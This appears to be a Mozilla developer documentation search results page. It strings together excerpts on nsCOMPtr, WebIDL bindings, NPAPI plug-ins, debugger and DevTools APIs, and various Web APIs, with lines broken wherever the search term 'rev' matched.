revents xpcom type errors. class nsibar : public nsifoo ... { ... }; nsibar* p = ...; // c++ thinks every |nsibar*| is an // |nsifoo*|, therefore, c++ allows // this... nscomptr<nsifoo> foo = p; // ...even though it is an xpcom // type error class nsibar : public nsifoo ... { ... }; nsibar* p = ...; // no type error here... nscomptr<nsifoo> foo(do...
...ng a raw pointer you have already addrefed: // don't return raw pointers; that incites leaks... nsifoo* createfoo(); // returns an |addref|ed pointer // ... nscomptr<nsifoo> myfoo = createfoo(); // oops: leak; nscomptr<nsifoo> myfoo( dont_addref(createfoo()) ); // since |createfoo| already |addref|s its result, we must remind // our |nscomptr| not to. it's easy to forget. p
revent it in advance // by not returning pointers as function results, or else by returning // an |already_addrefed<t>| as above. void f( nscomptr<t> ) don't pass an nscomptr by value this practice is wasteful, but not otherwise harmful. there is no need to addref parameters, as they are guaranteed to live as long as the function call. you only need to addref them as you store them...
...ly as the signature above, this practice is wasteful, but not otherwise harmful, and has the same impact as passing an nscomptr by value if the caller only supplied a raw pointer. void f( nscomptr<t>* ) avoid passing an nscomptr by address, if possible this practice requires callers to have an nscomptr, and requires them to do a little extra work, as operator& for nscomptrs is private (to help p
revent leaks caused by casting; also see bug 59414). this is an acceptable way to declare `in/out' parameters, but prefer passing nscomptrs by reference, as below. // passing an |nscomptr| by pointer requires extra work... void f( nscomptr<nsifoo>* ); // ... nscomptr<nsifoo> myfoo = ...; f( address_of(myfoo) ); void f( nscomptr<t>& ) do pass an nscomptr by reference for ...
WebIDL bindings
d a configuration file that lists some metadata about how the webidl should be reflected into gecko-internal code. all webidl files should be placed in dom/webidl and added to the list in the moz.build file in that directory. note that if you're adding new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail. this is a signal that you need to get a
review from a dom peer. resist the urge to just add your interfaces to the moz.build list without the
review; it will just annoy the dom peers and they'll make you get the
review anyway. the configuration file, dom/bindings/bindings.conf, is basically a python dict that maps interface names to information about the interface, called a descriptor. there are all sorts of possible options here that han...
...ers with an additional trailing "mozilla::dom::callbackobject::exceptionhandling aexceptionhandling" argument, defaulting to ereportexceptions. if areportexceptions is set to ereportexceptions, the methods will report js exceptions before returning. if areportexceptions is set to erethrowexceptions, js exceptions will be stashed in the errorresult and will be reported when the stack unwinds to whe
rever the errorresult was set up. for example, this webidl: callback interface mycallback { attribute long somenumber; short somemethod(domstring somestring); }; callback interface myothercallback { // single-operation interface short dosomething(node somenode); }; interface myinterface { attribute mycallback foo; attribute mycallback? bar; }; will lead to these c++ class declarations ...
...assed in in whatever form is most convenient, as long as it's either a type that can be wrapped by xpconnect or a webidl interface type. if areportexceptions is set to ereportexceptions, the call methods will report js exceptions before returning. if areportexceptions is set to erethrowexceptions, js exceptions will be stashed in the errorresult and will be reported when the stack unwinds to whe
rever the errorresult was set up. for example, this webidl: callback mycallback = long (myinterface arg1, boolean arg2); interface myinterface { attribute mycallback foo; attribute mycallback? bar; }; will lead to this c++ class declaration, in the mozilla::dom namespace: class mycallback : public callbackfunction { public: int32_t call(myinterface& arg1, bool arg2, errorresult& rv, ...
...they also expose setters that set the union as being of a particular type and return a reference to the union's internal storage where that type could be stored. the one exception is the object type, which uses a somewhat different form of setter where the jsobject* is...
Initialization and Destruction - Plugins
initialization: the browser calls the plug-in api function np_initialize when the plug-in code is first loaded. instance creation: the browser calls the plug-in api function npp_new when the instance is created. instance destruction: the plug-in instance is deleted when the user leaves the instance page or closes the instance window; the browser calls the function npp_destroy to tell the plug-in that the instance is being deleted. shutdown: when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory and the browser calls the function np_shutdown. ...
...pp_destroy(npp instance, npsaveddata **save); the instance parameter represents the plug-in instance to delete. the plug-in can use the optional save parameter to save data for reuse by a new instance with the same url. the data is passed to npp_new through its saved parameter. for example, a video player could save the last frame number to be displayed. when the user returns to the page, the p
revious frame number is passed to the new instance of the plug-in, so it can initially display the same frame. note that you cannot count on data being saved this way; the data may be lost if the browser restarts or purges memory. ownership of the buf field of the npsaveddata structure passes from the plug-in to the browser when npp_destroy returns. the example in this section sets up a buffer and ...
...data structure passes from the plug-in to the browser when npp_destroy returns. the example in this section sets up a buffer and allocates memory for it. you can use this type of buffer to handle data saved from one instance of a plug-in to another. the example shows the use of the optional save parameter of npp_destroy and saved parameter of npp_new. in npp_new, the saved parameter contains p
reviously saved data for this instance of the plug-in (saved by npp_destroy). the plug-in must free the memory for npsaveddata and the buffer it contains. in npp_destroy, the save parameter specifies state or other information to save for reuse by a new instance with the same url. to ensure that the browser does not crash or leak memory when the saved data is discarded, the buf field should be a f...
... useragent = (char*) npn_memalloc(strlen(result) + 1); if (useragent == null) return nperr_out_of_memory_error; /* copy the string to your memory. */ strcpy(useragent, result); return nperr_no_error; } /* shutdown function */ nperror np_shutdown(void) { /* delete the memory you allocated. */ if (useragent != null) npn_memfree(useragent); return nperr_no_error; } « p
reviousnext » ...
Plug-in Development Overview - Plugins
a basic overview of the plug-in development process is given in the following steps. plan your plug-in: decide on the services you want the plug-in software to provide and how it will interact with the browser and the special media for which the plug-in is created. decide the mime type for the plug-in (see registering plug-ins). set up your development environment properly. you can use a variety of environments to create a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. ...
... string 5 image/jpeg string 6 jpg several other optional strings may contain useful information about the plug-in. plug-ins must support 'str#' 128 but are not required to support any of these others: str#' 127 can contain a list of mime type descriptions corresponding to the types in 'str#' 128 . for example, this description list corresponds to the types in the p
revious example: string 1: "quicktime video", string 4: "aiff audio", and string 5: "jpeg image format." str#' 126: string 1 can contain a descriptive message about the plug-in. this message, which is in html format, is displayed by the browser in its "about plug-ins" page. string 2 can contain the name of the plug-in, thus allowing the name the user sees to be different from the name of the file...
...data becomes available. random-access mode: the browser allows the plug-in to request specific ranges of bytes from anywhere in the stream. this mode requires server support. file mode: the browser saves the data to a local file in cache and passes that file path to the plug-in. streams produced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in
reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url any...
...table. see the wikipedia article for historical information. both technologies are now obsolete for the purposes of plug-in scriptability, and the cross-browser npruntime api should be used instead. see the scripting plugins section of this reference for the details. building plug-ins once you have added the special code and additional files to make your plug-in scriptable as described in the p
revious section, the build process is quite straightforward. in addition to the dll that goes in the plugins folder, you must also place a type library and an extra header file in the appropriate places in your application directory. this section describes those extra scriptability steps in more detail. building, platforms, and compilers the header files and some basic examples for npapi plugins ar...
Debugger.Frame - Firefox Developer Tools
ipt the frame is executing, walk the stack to older frames, find the lexical environment in which the execution is taking place, and so on. for a given debugger instance, spidermonkey creates only one debugger.frame instance for a given visible frame. every handler method called while the debuggee is running in a given frame is given the same frame object. similarly, walking the stack back to a p
reviously accessed frame yields the same frame object as before. debugger code can add its own properties to a frame object and expect to find them later, use == to decide whether two expressions refer to the same frame, and so on. (if more than one debugger instance is debugging the same code, each debugger gets a separate debugger.frame instance for a given frame. this allows the code using each d...
... instance referring to that frame becomes inactive: its live property becomes false, and accessing its other properties or calling its methods throws an exception. note that frames only become inactive at times that are predictable for the debugger: when the debuggee runs, or when the debugger removes frames from the stack itself. visible frames when inspecting the call stack, debugger does not
reveal all the frames that are actually present on the stack: while it does
reveal all frames running debuggee code, it omits frames running the debugger’s own code, and omits most frames running non-debuggee code. we call those stack frames a debugger does
reveal visible frames. a frame is a visible frame if any of the following are true: it is running debuggee code; its immediate calle...
...ive, or the code executing in this frame is strict mode code. ifcode is not strict mode code, then variable declarations incode affect the environment of this frame. (in the terms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the variableenvironment of the execution context that this frame represents.) if implementation restrictions p
revent spidermonkey from extending this frame’s environment as requested, this call throws an error exception. if given,options should be an object whose properties specify details of how the evaluation should occur. the eval method recognizes the following properties: url the filename or url to which we should attributecode. if this property is omitted, the url defaults to "debugger eval ...
...as that environment is extended by bindings visible withincode. (in the terms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the variableenvironment of the execution context that this frame represents, and thebindings appear in a new declarative environment, which is the eval code’s lexicalenvironment.) if implementation restrictions p
revent spidermonkey from extending this frame’s environment as requested, this call throws an error exception. theoptions argument is as for debugger.frame.prototype.eval, described above. also like eval, if this frame’s environment property is null or type property is wasmcall, throw a typeerror. source metadata generated from file: js/src/doc/debugger/debugger.frame.md watermark: ...
DevTools API - Firefox Developer Tools
parameters: theme {themedefinition|string} - the theme definition object or the theme identifier. showtoolbox(target [, toolid [, hosttype [, hostoptions]]]) opens a toolbox for given target either by creating a new one or activating an existing one. parameters: target {target} - the target the toolbox will debug. toolid {string} - the tool that should be activated. if unspecified the p
reviously active tool is shown. hosttype {string} - the position the toolbox will be placed. one of bottom, side, window, custom. see hosttype for details. hostoptions {object} - an options object passed to the selected host. see hosttype for details. return value: a promise that is fulfilled with the toolbox instance once it has been initialized and the selected tool is loaded. gettoolbox(tar...
...) selects the tool with the given toolid. parameters: toolid {string} - the tool identifier. return value: a promise that is fulfilled with the toolpanel object of the selected panel once the tool has loaded and activated. selectnexttool() selects the next tool in the toolbox. return value: a promise that is fulfilled with the toolpanel object of the selected panel. selectp
revioustool() selects the p
revious tool in the toolbox. return value: a promise that is fulfilled with the toolpanel object of the selected panel. highlighttool(toolid) highlights the tab for the given tool. parameters: toolid {string} - the tool to highlight. unhighlighttool(toolid) unhighlights the tab for the given tool. parameters: toolid {string} - the tool to unhighli...
...icononly boolean, optional. if true, the label won't be shown in the tool's tab. default: false inverticonforlighttheme boolean, optional. if true the colors of the icon will be inverted for the light theme. default: false key string, optional. the key used for keyboard shortcut. either key or keycode value. modifiers string, optional. modifiers for the keyboard shortcut. p
reventclosingonkey boolean, optional. if true the tool won't close if its keybinding is pressed while it is active. default: false inmenu boolean, optional. if true the tool will be shown in the developer menu. default: false menulabel string, optional. a label for the developer menu item. default: {label} accesskey string, optional. accesskey for the developer menu <xul:menuitem...
...that have been decorated with the eventemitter interface. emit(eventname, ...extraarguments) emits an event with the given name to this object. parameters: eventname {string} - the name of the event. extraarguments {...any} - extra arguments that are passed to the listeners. on(eventname, listener) adds a listener for the given event. off(eventname, listener) removes the p
reviously added listener from the event. once(eventname, listener) adds a listener for the event that is removed after it has been emitted once. return value: a promise that is fulfilled with the first extra argument for the event when then event is emitted. if the event contains multiple payload arguments, the rest are discarded and can only be received by providing the listener function t...
All keyboard shortcuts - Firefox Developer Tools
home home home move to last node in the tree. end end end expand currently selected node right arrow right arrow right arrow collapse currently selected node left arrow left arrow left arrow (when a node is selected) move inside the node so ...
...+ f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +enter f2 / cmd + return f2 / ctrl + enter copy the selected node's outer html ctrl + c cmd + c ctrl + c scroll the selected node into view s s s find the next match in the markup, when searching is active enter return enter find the p
revious match in the markup, when searching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused. command windows macos linux move to the p
revious element in the breadcrumbs bar left arrow left arrow left arrow move to the next element in the breadcrumbs bar rig...
...put (only if the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate
reverse search through command history/step backwards through matching commands f9 ctrl + r f9 step forward through matching command history (after initiating
reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the curren...
... add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the p
revious autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions page up page up page up page down through autocomplete suggestions page down page down page down scroll to start of autocomplete suggestions home home ...
Animation - Web APIs
s playback. animation.commitstyles() commits the end styling state of an animation to the element being animated, even after that animation has been removed. it will cause the end styling state to be written to the element being animated, in the form of properties inside a style attribute. ...
...if the animation is finished or unplayed, it will play from end to beginning. animation.updateplaybackrate() sets the speed of an animation after first synchronizing its playback position. ...
...if the animation is finished or unplayed, it will play from end to beginning. animation.updateplaybackrate() sets the speed of an animation after first synchronizing its playback position. ...
...if the animation is finished or unplayed, it will play from end to beginning. animation.updateplaybackrate() sets the speed of an animation after first synchronizing its playback position. automatically removing filling animations it is possible to trigger a large number of animations on the same element. ...
Using images - Web APIs
one of the more exciting features of <canvas> is the ability to use images. these can be used to do dynamic photo compositing or as backdrops of graphs, for sprites in games, and so forth. external images can be used in any format supported by the browser, such as png, gif, or jpeg. you can even use the image produced by other canvas elements on the same page as the source! importing images into a canvas is basically a two step process: get a reference to an htmlimageelement object or to another canvas element as a source. it is also possible to use images by providing a url. draw the image on the canvas using the drawimage() function. ...
...drawing. for instance, if you want to make a chart you could have a png image containing all the necessary text in a single file and depending on your data could change the scale of your chart fairly easily. another advantage is that you don't need to load every image individually, which can improve load performance. example: framing an image in this example, we'll use the same rhino as in the p
revious example, but we'll slice out its head and composite it into a picture frame. the picture frame image is a 24-bit png which includes a drop shadow. because 24-bit png images include a full 8-bit alpha channel, unlike gif and 8-bit png images, it can be placed onto any background without worrying about a matte color. <html> <body onload="draw();"> <canvas id="canvas" width="150" height="15...
...you can use the drawing context's imagesmoothingenabled property to control the use of image smoothing algorithms when scaling images within your context. by default, this is true, meaning images will be smoothed when scaled. you can disable this feature like this: ctx.mozimagesmoothingenabled = false; ctx.
...xt's imagesmoothingenabled property to control the use of image smoothing algorithms when scaling images within your context. by default, this is true, meaning images will be smoothed when scaled. you can disable this feature like this: ctx.mozimagesmoothingenabled = false; ctx.webkitimagesmoothingenabled = false; ctx.msimagesmoothingenabled = false; ctx.imagesmoothingenabled = false; « p
reviousnext » ...
ConvolverNode - Web APIs
a convolvernode always has exactly one input and one output. note: for more information on the theory behind linear convolution, see the convolution article on wikipedia. number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 1, 2, or 4 channel interpretation "speakers" constructor convolvernode() creates a new convolvernode object instance. properties inherits properties from its parent, audionode. ...
...ped-max" channel count 1, 2, or 4 channel interpretation "speakers" constructor convolvernode() creates a new convolvernode object instance. properties inherits properties from its parent, audionode. convolvernode.buffer a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the
reverb effect. convolvernode.normalize a boolean that controls whether the impulse response from the buffer will be scaled by an equal-power normalization when the buffer attribute is set, or not. methods no specific method; inherits methods from its parent, audionode. convolvernode example the following example shows basic usage of an audiocontext to create a convolver node. note: you will ...
...ribute is set, or not. methods no specific method; inherits methods from its parent, audionode. convolvernode example the following example shows basic usage of an audiocontext to create a convolver node. note: you will need to find an impulse response to complete the example below. see this codepen for an applied example. ...
...example. let audioctx = new window.audiocontext(); async function create
reverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ... let
reverb = await create
reverb(); // someotheraudionode ->
reverb -> destination someotheraudionode.connect(
reverb);
reverb.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'convolvernode' in that specification. working draft ...
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
object implementing the dom1 |node| interface. * @return true if the node is: * 1) a |text| node that is all whitespace * 2) a |comment| node * and otherwise false. ...
... 1) a |text| node that is all whitespace * 2) a |comment| node * and otherwise false. */ function is_ignorable( nod ) { return ( nod.nodetype == 8) || // a comment node ( (nod.nodetype == 3) && is_all_ws(nod) ); // a text node, all ws } /** * version of |p
revioussibling| that skips nodes that are entirely * whitespace or comments. ...
...e, all ws } /** * version of |p
revioussibling| that skips nodes that are entirely * whitespace or comments. (normally |p
revioussibling| is a property * of all dom nodes that gives the sibling node, the node that is * a child of the same parent, that occurs immediately before the * reference node.) * * @param sib the reference node. * @return either: * 1) the closest p
revious sibling to |sib| that is not * ignorable according to |is_ignorable|, or * 2) null if no such node exists. */ function node_before( sib ) { while ((sib = sib.p
revioussibling)) { if (!is_ignorable(sib)) return sib; } return null; } /** * version of |nextsibling| that skips nodes that are entirely * whitespace or comments. * * @param sib the ref...
...tained * directly in the reference node.) * * @param sib the reference node. * @return either: * 1) the last child of |sib| that is not * ignorable according to |is_ignorable|, or * 2) null if no such node exists. */ function last_child( par ) { var res=par.lastchild; while (res) { if (!is_ignorable(res)) return res; res = res.p
revioussibling; } return null; } /** * version of |firstchild| that skips nodes that are entirely * whitespace and comments. * * @param sib the reference node. * @return either: * 1) the first child of |sib| that is not * ignorable according to |is_ignorable|, or * 2) null if no such node exists. */ function first_child( par ) { var re...
GlobalEventHandlers.onpointerdown - Web APIs
er onpointerdown is used to specify the event handler for the pointerdown event, which is fired when the pointing device is initially pressed. this event can be sent to window, document, and element objects. this is functionally equivalent to the mousedown event when generated due to user activity with a mouse or mouse-compatible device. if the pointerdown event isn't canceled through a call to p
reventdefault(), most user agents will fire a mousedown event, so that sites not using pointer events will work. you can also use addeventlistener() to add a listener for pointerdown events. syntax target.onpointerdown = downhandler; var downhandler = target.onpointerdown; value a function to handle the pointerdown event for the target element, document, or window. it receives as input the poi...
...default(), most user agents will fire a mousedown event, so that sites not using pointer events will work. you can also use addeventlistener() to add a listener for pointerdown events. syntax target.onpointerdown = downhandler; var downhandler = target.onpointerdown; value a function to handle the pointerdown event for the target element, document, or window. it receives as input the pointe
revent describing the pointerdown event. example this example demonstrates how to watch for and act upon pointerdown events using onpointerdown. you could also use addeventlistener(), of course. javascript first, let's look at the javascript code that handles the pointerdown event. var targetbox = document.getelementbyid("target"); targetbox.onpointerdown = handledown; function handledown(evt)...
...andledown; function handledown(evt) { var action; switch(evt.pointertype) { case "mouse": action = "clicking"; break; case "pen": action = "tapping"; break; case "touch": action = "touching"; break; default: action = "interacting with"; break; } targetbox.innerhtml = "<strong>thanks for " + action + " me!</strong>"; evt.p
reventdefault(); } this simply uses onpointerdown to establish the function handledown() as the event handler for pointer down events. the handledown() function, in turn, looks at the value of pointertype to determine what kind of pointing device was used, then uses that information to customize a string to replace the contents of the target box. then the event's p
reventdefault() method is called ...
...hen the event's p
reventdefault() method is called to ensure that the mousedown event isn't triggered, potentially causing events to be handled twice if we had a handler for those events in case pointer event support is missing. we also have a handler for pointerup events: targetbox.onpointerup = handleup; function handleup(evt) { targetbox.innerhtml = "tap me, click me, or touch me!"; evt.p
reventdefault(); } this code's job is to just restore the original text into the target box after the user's interaction with the element ends (for example, when they release the mouse button, or when they lift the stylus or finger from the screen). in addition, the event's p
reventdefault() method is called to ensure that the mouseup event isn't triggered unnecessarily. html the html is extreme...
HTMLImageElement.loading - Web APIs
e of lazy will cause the image to only be loaded shortly before it will appear in the window's visual viewport. usage notes timing of the load event the load event is fired when the document has been fully processed. when images are loaded eagerly (which is the default), every image in the document must be fetched before the load event can fire. by specifying the value lazy for loading, you p
revent the image from delaying the load attribute by the amount of time it takes to request, fetch, and process the image. images whose loading attribute is set to lazy but are located within the visual viewport immediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load event. in other words, these images aren't loaded immediatel...
...s known, but their loads do not delay the firing of the load event. in other words, these images aren't loaded immediately when processing the <img> element, but are still loaded as part of the initial page load. they justt don't affect the timing of the load event. that means that when load fires, it's possible that any lazy-loaded images located in the visual viewport may not yet be visible. ...
...element shift during image lazy loads when an image whose loading has been delayed by the loading attribute being set to lazy is finally loaded, the browser will determine the final size of the <img> element based on the style and intrinsic size of the image, then reflow the document as needed to update the positions of elements based on any size change made to the element to fit the image. ...
... style and intrinsic size of the image, then reflow the document as needed to update the positions of elements based on any size change made to the element to fit the image. to p
revent this reflow from occurring, you should explicitly specify the size of the image's presentation using the image element's width and height attributes. by establishing the intrinsic aspect ratio in this manner, you p
revent elements from shifting around while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows. example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image from the network until it's ac...
Dragging and Dropping Multiple Items - Web APIs
method. this allows a drop to occur on that element. the dodrop event hander is called when dropping ...
...method. this allows a drop to occur on that element. the dodrop event hander is called when dropping an item. it checks the mozitemcount property to check how many item...
...method. this allows a drop to occur on that element. the dodrop event hander is called when dropping an item. it checks the mozitemcount property to check how many items have been dropped and iterates over them. for each item, the ...
...method. this allows a drop to occur on that element. the dodrop event hander is called when dropping an item. it checks the mozitemcount property to check how many items have been dropped and iterates over them. ...
PerformanceTiming - Web APIs
o dom events; others describe the time at which internal browser operations of interest took place. each time is provided as an unsigned long long representing the moment, in milliseconds since the unix epoch these properties are listed in the order in which they occur during the navigation process. ...
...r operations of interest took place. each time is provided as an unsigned long long representing the moment, in milliseconds since the unix epoch these properties are listed in the order in which they occur during the navigation process. performancetiming.navigationstart read only when the prompt for unload terminates on the p
revious document in the same browsing context. if there is no p
revious document, this value will be the same as performancetiming.fetchstart. performancetiming.unloadeventstart read only when the unload event has been thrown, indicating the time at which the p
revious document in the window began to unload. if there is no p
revious document, or if the p
revious document or one of the needed redirects is not of the same origin, the value returned is 0. perf...
... performancetiming.redirectstart read only when the first http redirect starts. ...
... performancetiming.redirectstart read only when the first http redirect starts. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. ...
Permissions - Web APIs
the permissions interface of the permissions api provides the core permission api functionality, such as methods for querying and
revoking permissions methods permissions.query() returns the user permission status for a given api. permissions.request() requests permission to use a given api. this is not currently supported in any browser. permissions.requestall() requests permission to use a given set of apis. this is not currently supported in any browser. permissions.
revoke()
revokes the permission currently set on a given api. example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showlocalnewswithgeolocation(); } else if (result.state === 'prompt') { showbuttontoenablelocalnews(); } // don't do a...
... full support 48chrome android full support 48firefox android no support noopera android ? ...
...to change preferences in firefox, visit about:config. ...
...to change preferences in firefox, visit about:config. no support 47 — 51opera android ? safari ios no support nosamsung internet android full support 5.0legend full supp...
Pinch zoom gestures - Web APIs
areas. <style> div { margin: 0em; padding: 2em; } #target { background: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preserving a pointer's event state during various event phases. this application uses two global variables to cache the event state. // global vars to cache event state var evcache = new array(); var p
revdiff = -1; register event handlers event handlers are registered for the following pointer events: pointerdown, pointermove and pointerup. the handler for pointerup is used for the pointercancel, pointerout and pointerleave events since these four events have the same semantics in this application. function init() { // install event handlers for the pointer target var el=document.getelementb...
...t in the cache and update its record with this event for (var i = 0; i < evcache.length; i++) { if (ev.pointerid == evcache[i].pointerid) { evcache[i] = ev; break; } } // if two pointers are down, check for pinch gestures if (evcache.length == 2) { // calculate the distance between the two pointers var curdiff = math.abs(evcache[0].clientx - evcache[1].clientx); if (p
revdiff > 0) { if (curdiff > p
revdiff) { // the distance between the two pointers has increased log("pinch moving out -> zoom in", ev); ev.target.style.background = "pink"; } if (curdiff < p
revdiff) { // the distance between the two pointers has decreased log("pinch moving in -> zoom out",ev); ev.target.style.background = "lightblue"; } ...
...distance between the two pointers has increased log("pinch moving out -> zoom in", ev); ev.target.style.background = "pink"; } if (curdiff < p
revdiff) { // the distance between the two pointers has decreased log("pinch moving in -> zoom out",ev); ev.target.style.background = "lightblue"; } } // cache the distance for the next move event p
revdiff = curdiff; } } pointer up the pointerup event is fired when a pointer is raised from the contact surface. when this occurs, the event is removed from the event cache and the target element's background color and border are restored to their original values. in this application, this handler is also used for pointercancel, pointerleave and pointerout events. function pointerup_handler(ev...
...l, pointerleave and pointerout events. function pointerup_handler(ev) { log(ev.type, ev); // remove this pointer from the cache and reset the target's // background and border remove_event(ev); ev.target.style.background = "white"; ev.target.style.border = "1px solid black"; // if the number of pointers down is less than two then reset diff tracker if (evcache.length < 2) { p
revdiff = -1; } } application ui the application uses a <div> element for the touch area and provides buttons to enable logging and to clear the log. to p
revent the browser's default touch behavior from overriding this application's pointer handling, the touch-action property is applied to the <body> element. <body onload="init();" style="touch-action:none"> <div id="target">touch and hold wit...
RTCPeerConnection - Web APIs
ityresult event, of type rtcidentityevent, is received by this rtcpeerconnection. such an event is sent when an identity assertion is generated, via getidentityassertion() or during the creation of an offer or an answer.onidpassertionerror the rtcpeerconnection.onidpassertionerror event handler is a property containing the code to execute whent the idpassertionerror event, of type rtcidentityerro
revent, is received by this rtcpeerconnection. such an event is sent when the associated identity provider (idp) encounters an error while generating an identity assertion.onidpvalidationerror the rtcpeerconnection.onidpvalidationerror event handler is a property containing the code to execute whent the idpvalidationerror event, of type rtcidentityerro
revent, is received by this rtcpeerconnection. s...
...rtcpeerconnection object when the remote peer adds an rtcdatachannel to the connection. also available through the ondatachannel event handler property. icecandidate sent to the peer connection to request that the specified candidate be transmitted to the remote peer. also available through the onicecandidate event handler property. icecandidateerror an error of type rtcpeerconnectioniceerro
revent which is sent to the connection if an error occurred during ice candidate gathering. the event's properties describe the error. also available through the onicecandidateerror event handler property. iceconnectionstatechange sent to the rtcpeerconnection when the state of the ice connection changes, such as when it disconnects. also available using the oniceconnectionstatechange event handl...
..." the peer connection was just created and hasn't done any networking yet. "gathering" the ice agent is in the process of gathering candidates for the connection. "complete" the ice agent has finished gathering candidates. if something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ice server, the state will
revert to "gathering" to gather those candidates. rtcicetransportpolicy enum the rtcicetransportpolicy enum defines string constants which can be used to limit the transport policies of the ice candidates to be considered during the connection process. constant description "all" all ice candidates will be considered. "public" only ice candidates with...
...tion.createanswer()) and applied by calling rtcpeerconnection.setlocaldescription(). this provisional answer describes the supported media formats and so forth, but may not have a complete set of ice candidates included. further candidates will be delivered separately later. "have-remote-pranswer" a provisional answer has been received and successfully applied in response to an offer p
reviously sent and established by calling setlocaldescription(). "closed" the connection is closed. note: this value moved into the rtcpeerconnectionstate enum in the may 13, 2016 draft of the specification, as it reflects the state of the rtcpeerconnection, not the signaling connection. you now detect a closed connection by checking for connectionstate to be "closed" ins...
SVGLengthList - Web APIs
code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. initialize(in svglength newitem) svglength clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. getitem(in unsigned long index) svglength ...
... a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. insertitembefore(in svglength newitem, in unsigned long index) svglength inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to insert before is before the removal of the item. if the index is equal to 0, then the new item is inserted at the front of the list. if the index is greater than or equal to numberofitems, then the new item is appended to the e...
... of the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. replaceitem(in svglength newitem, in unsigned long index) svglength replaces an existing item in the list with a new item. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to replace is before the removal of the item. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. a...
...allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. a domexception with code index_size_err is raised if the index number is greater than or equal to numberofitems. appenditem(in svglength newitem) svglength inserts a new item at the end of the list. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. browser compatibility the compatibility table on this page is generated from structured data. if you'd l...
SVGNumberList - Web APIs
with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. initialize(in svgnumber newitem) svgnumber clears all existing current items from the list and re-initializes the list to hold the single item specified by newitem. if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. getitem(in unsigned long index) svgnumber ...
...xception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. insertitembefore(in svgnumber newitem, in unsigned long index) svgnumber inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to insert before is before the removal of the item. if the index is equal to 0, then the new item is inserted at the front of the list. if the index is greater than or equal to numberofitems, then the new item is appended to ...
...he list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. replaceitem(in svgnumber newitem, in unsigned long index) svgnumber replaces an existing item in the list with a new item. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to replace is before the removal of the item. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. ...
...ication_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. a domexception with code index_size_err is raised if index is greater than or equal to numberofitems. appenditem(in svgnumber newitem) svgnumber inserts a new item at the end of the list. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. browser compatibility the compatibility table on this page is generated from structured data. if you...
